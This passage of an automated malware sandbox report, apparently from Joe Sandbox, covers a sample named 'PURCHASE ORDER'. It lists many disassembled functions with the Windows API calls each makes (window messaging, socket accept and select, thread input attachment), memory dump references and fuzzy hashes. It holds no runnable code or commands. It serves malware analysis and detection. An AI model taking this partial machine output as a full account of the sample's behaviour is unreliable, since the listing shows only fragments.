                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Long$AttributesLayered
                                                                          • String ID:
                                                                          • API String ID: 2169480361-0
                                                                          • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                          • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                          • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                          • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                          Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32 ref: 00448CB8
                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                          • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                          • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$LongWindow
                                                                          • String ID:
                                                                          • API String ID: 312131281-0
                                                                          • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                          • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                          • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                          • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                          Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • select.WSOCK32 ref: 0045890A
                                                                          • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                          • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastacceptselect
                                                                          • String ID:
                                                                          • API String ID: 385091864-0
                                                                          • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                          • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                          • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                          • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                          Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID:
                                                                          • API String ID: 3850602802-0
                                                                          • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                          • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                          • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                          • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                          Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                          • GetStockObject.GDI32(00000011), ref: 00433695
                                                                          • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                          • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$CreateMessageObjectSendShowStock
                                                                          • String ID:
                                                                          • API String ID: 1358664141-0
                                                                          • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                          • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                          • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                          • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                          Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                          • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                          • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                          • String ID:
                                                                          • API String ID: 2880819207-0
                                                                          • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                          • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                          • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                          • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                          Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowRect.USER32(?,?), ref: 00434037
                                                                          • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                          • ScreenToClient.USER32(?,?), ref: 00434085
                                                                          • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClientRectScreen$InvalidateWindow
                                                                          • String ID:
                                                                          • API String ID: 357397906-0
                                                                          • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                          • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                          • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                          • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                          Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __wsplitpath.LIBCMT ref: 00436A45
                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                          • __wsplitpath.LIBCMT ref: 00436A6C
                                                                          • __wcsicoll.LIBCMT ref: 00436A93
                                                                          • __wcsicoll.LIBCMT ref: 00436AB0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                          • String ID:
                                                                          • API String ID: 1187119602-0
                                                                          • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                          • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                          • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                          • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                          Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                          • String ID:
                                                                          • API String ID: 1597257046-0
                                                                          • Opcode ID: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                          • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                          • Opcode Fuzzy Hash: 89f1a50a5f3f04ab4eb1e3bf6fc47514f3819a61a53c7cc8dd854e7388be254d
                                                                          • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                          Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DeleteDestroyObject$IconWindow
                                                                          • String ID:
                                                                          • API String ID: 3349847261-0
                                                                          • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                          • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                          • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                          • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                          Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                          • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                          • String ID:
                                                                          • API String ID: 2223660684-0
                                                                          • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                          • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                          • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                          • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                          Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                          • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                          • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                          • EndPath.GDI32(?), ref: 004472B0
                                                                          • StrokePath.GDI32(?), ref: 004472BE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                          • String ID:
                                                                          • API String ID: 2783949968-0
                                                                          • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                          • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                          • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                          • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                          Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __getptd.LIBCMT ref: 00417D1A
                                                                            • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                            • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                          • __getptd.LIBCMT ref: 00417D31
                                                                          • __amsg_exit.LIBCMT ref: 00417D3F
                                                                          • __lock.LIBCMT ref: 00417D4F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                          • String ID:
                                                                          • API String ID: 3521780317-0
                                                                          • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                          • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                          • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                          • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                          Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDesktopWindow.USER32 ref: 00471144
                                                                          • GetDC.USER32(00000000), ref: 0047114D
                                                                          • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                          • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 2889604237-0
                                                                          • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                          • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                          • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                          • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                          Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDesktopWindow.USER32 ref: 00471102
                                                                          • GetDC.USER32(00000000), ref: 0047110B
                                                                          • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                          • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 2889604237-0
                                                                          • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                          • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                          • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                          • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                          Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                          • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                          • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                          • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                          • String ID:
                                                                          • API String ID: 2710830443-0
                                                                          • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                          • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                          • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                          • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                          Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
